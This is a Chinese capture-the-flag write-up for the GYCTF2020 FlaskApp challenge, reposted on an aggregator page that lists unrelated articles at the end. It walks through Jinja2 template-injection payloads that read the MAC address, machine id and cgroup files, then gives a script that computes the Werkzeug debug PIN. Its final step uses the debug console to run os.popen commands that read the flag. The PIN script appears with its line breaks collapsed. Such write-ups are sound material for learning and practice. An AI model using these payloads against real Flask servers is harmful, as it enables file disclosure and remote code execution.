[GYCTF2020]FlaskApp (pin码,jinja2绕过注入)

题目就是flask

下面是判断模版注入的方法

a{*comment*}b和{{7*'7'}}base64编码后解码都报错no,无法判断模版引擎

直接用下jinja2的试一试,把编码后的密文拿去解码,payload:

{{"".__class__mro(2)__subclasses__()}}

报错是jinja2

后面就整不会了,看别人的wp整理一下:

由于不知道flag的存放位置和名字,所以要通过获取pin码打开python shell

PIN 机制在 [Flask debug 模式 PIN 码生成机制安全性研究笔记](https://www.cnblogs.com/HacTF/p/8160076.html) 一文中有详细的研究。

由官方write up总结出,生成PIN的关键值有如下几个:

* 1. 服务器运行flask所登录的用户名。 通过/etc/passwd中可以猜测为flaskweb 或者root ,此处用的flaskweb

* 2. modname 一般不变就是flask.app

* 3. getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)。python该值一般为Flask 值一般不变

* 4. flask库下app.py的绝对路径。通过报错信息就会泄露该值。本题的值为

* 5.当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address 获取:

payload:

{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}}

 转换为10进制得:

* 6.最后一个就是机器的id。

对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。

对于docker机则读取/proc/self/cgroup:

payload:{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/proc/self/cgroup').read()}}
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/proc/sys/kernel/random/boot_i').read()}}
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/machine-id').read()}}

我是在/etc/machine-id下找到的,也就是第三个payload

计算pin值脚本

from itertools import chain
import hashlib
probably_public_bits = ['flaskweb',# username'flask.app',# modname'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]private_bits = ['16416319932079'# mac地址'1408f836b0ca514d796cbf8960e45fa1', # 机器id
]h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

获得pin值

进入报错页面,用这个就行

{{"".__class__mro(2)__subclasses__()}}

鼠标移动到报错代码有一个cmd窗口类似的图标出现在代码右上角,我们点击它然后输入 pin码然后就可以执行python shell了

输入import os

os.popen('ls /').read()

点这个加号看到放flag的文件

构造最终payload:

os.popen('cat /this_is_the_flag.txt').read()

没返回的话再一次import os即可

其他方法参考这篇文章:

https://www.cnblogs.com/fishjumpriver/p/18163068​​​​​​​

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3281085.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

嵌入式革命:NI Linux Real-Time 和 ARM。

考虑为您的下一个应用程序采用 NI 的最新操作系统 在 NIWeek 大会上,美国国家仪器公司发布了一款新操作系统:NI Linux Real-Time。从全体会议、NIWeek 会议和媒体报道来看,这款新实时操作系统 (RTOS) 的发布显然是一项重大成就。无需担心这款…

优化数据处理效率,解读 EasyMR 大数据组件升级

EasyMR 作为袋鼠云基于云原生技术和 Hadoop、Hive、Spark、Flink、Hbase、Presto 等开源大数据组件构建的弹性计算引擎。此前,我们已就其展开了多方位、多角度的详尽介绍。而此次,我们成功接入了大数据组件的升级和回滚功能,能够借助 EasyMR …

LSTM详解总结

LSTM(Long Short-Term Memory)是一种用于处理和预测时间序列数据的递归神经网络(RNN)的改进版本。其设计初衷是为了解决普通RNN在长序列训练中出现的梯度消失和梯度爆炸问题。以下是对LSTM的详细解释,包括原理、公式、…

不能错过的十大人工智能开源库

作者:老余捞鱼 原创不易,转载请标明出处及原作者。 写在前面的话: 随着人工智能(AI)的不断进步,掌握最新的工具、框架和研究变得前所未有的重要。虽然 TensorFlow 和 PyTorch 等知名软件库占据了头…

“Assistants“ has no attribute “files“ in openAI assistants

题意:在 OpenAI 的助手(assistants)中,“Assistants” 没有 “files” 这个属性。 问题背景: assistant_file client.beta.assistants.files.create(assistant_id st.session_state.assistant_id,file_id st.sessi…

TongHttpServer 简介

1. 概述 随着网络技术的飞速发展,高并发大用户场景越来越普遍,单一应用服务节点已经不能满足并发需求,为了提高整个系统可靠性,扩展性,吞吐率,通常将多个应用服务器通过硬负载/软负载组成集群,负载均衡器根据不同负载算法将请求分发到各个应用服务器节点。 Tong…

idea项目配置本地仓库apache-maven(离线电脑)

接上一篇 idea项目配置本地仓库apache-maven步骤 按照上一篇在外网电脑从阿里云下载好驱动包之后,将本地仓库拷贝到无法联网的电脑中,安装maven,修改settings,主要修改localRepository指向的maven仓库地址,以及mirror里…

基于单片机控制的家电产品硬件故障诊断

摘要: 在现阶段家用电子产品生产制造的过程中,需要应用到非常多的单片机以及单片机控制技术,单片机凭借着自身体积小、反应快、功耗低的优势迅速抢占了家电产品的市场。并且在单片机实际的应用过程中,通过对单片机控制技术的掌握可…

WordPress建站教程:零基础新手小白如何B2B外贸建站

如果你想通过独立站拿询盘获取订单,那么必须先要有一个自己的网站,所以建站是你绕不过去的一件事。对于零基础的新手小白来说,如何从零开始搭建一个B2B外贸网站呢?本文将为你提供一份详细的WordPress建站教程,帮助你从…

UE4 Rider错误处理 Error: Project is not specified

当看到Error: Project is not specified报错,并且看到调试器中存在红色叉叉时,应该如何处理? 这是因为 “Project” 栏目中的原先的值失效了。 解决方法:在Project栏中,继续找到它的正确的值,在上图中可以…

<Rust>使用rust实现crc16_modbus校验码生成?

前言 本文是使用rust代码来实现crc16 modbus校验码的输出。 概述 crc16 modbus算法简介: 代码实现: crc16 modbus是crc校验码的其中一种计算方式,通常用于modbus类通讯的数据校验上。 其计算步骤如上面的图片所示,通常此校验算法用在工控行业比较多,如一些支持串口通讯…

(第三期)书生大模型实战营——书生大模型全链路开源开放体系

任务及教程来自书生大模型实战营https://github.com/InternLM/Tutorial

ESP32-C2 烧录

写复杂了 烧录程序需要 io8 上拉 io9下载 (加10k电阻下拉) 烧录口为uart0 (烧at固件,输出为uart1) chip_en 加10k 1uf(o.1uf) 电容电阻,加个开关 烧录好后 io9县空,从flash启动 idf.py -p com24不知…

本田Honda EDI项目案例:非EDI标准的数据格式转换与传输

近期知行帮助东风本田Honda的供应商E公司成功实施EDI项目,与以往采用X12、EDIFACT等EDI标准的项目不同,Honda向其供应商提供API接口,以JSON的格式传输库存信息以及生产计划。 EDI需求概览 Honda提供公开的WSRM系统供应商API接口&#xff0c…

如何通过前端表格控件实现自动化报表?

背景 最近伙伴客户的项目经理遇见一个问题,他们在给甲方做自动化报表工具,项目已经基本做好了,但拿给最终甲方,业务人员不太买账,项目经理为此也是天天抓狂,没有想到合适的应对方案。 现阶段主要面临的问…

深入理解 go context

打个广告:欢迎关注我的微信公众号,在这里您将获取更全面、更新颖的文章! 原文链接:深入理解 go context 欢迎点赞关注 context 介绍 context 是 Go 语言中用于处理并发操作的一个重要概念。context也被称作上下文,主要…

Mirror学习笔记(二) 传输协议

文章目录 一、KCP传输协议二、Telepathy 传输协议三、WebSockets传输协议四、多路复用传输:五、延迟模拟传输:六、Ignorance协议七、LiteNetLib协议八、FizzSteamworks协议九、FizzyFacepunch协议十、加密协议十一、Edgegap协议 一、KCP传输协议 KCP是M…

热力图大揭秘!Matplotlib教你如何画出让数据‘火辣辣‘的激情图!

1. 引言 嘿,小伙伴们!今天咱们来点不一样的,走进Matplotlib的神奇世界,一起绘制那让人热血沸腾的热力图!别误会,这可不是什么天气预报图,而是让数据“火辣辣”展现自我的秘密武器。想象一下&am…

Adobe XD安装破解

文章目录 下载链接安装教程打开软件 下载链接 通过百度网盘分享的文件:Adobe XD 57.rar 链接:https://pan.baidu.com/s/14v_8EeKSyAtZoXT2nofCtQ 提取码:6qxx 安装教程 以管理员身份运行 安装完成后点击关闭 稍微等待一会,不…

linux编写shell脚本字段部署redis6.x版本,docker使用shell脚本一键自动部署redis

1.先创建部署脚本 touch redis.sh2.粘贴部署脚本内容到redis.sh echo "在线安装redis开始...." docker pull redis:6.2.1 sudo mkdir -p /home/admin/redis/{data,conf} sudo touch /home/admin/redis/conf/redis.conf echo " #注释掉这部分,这是限…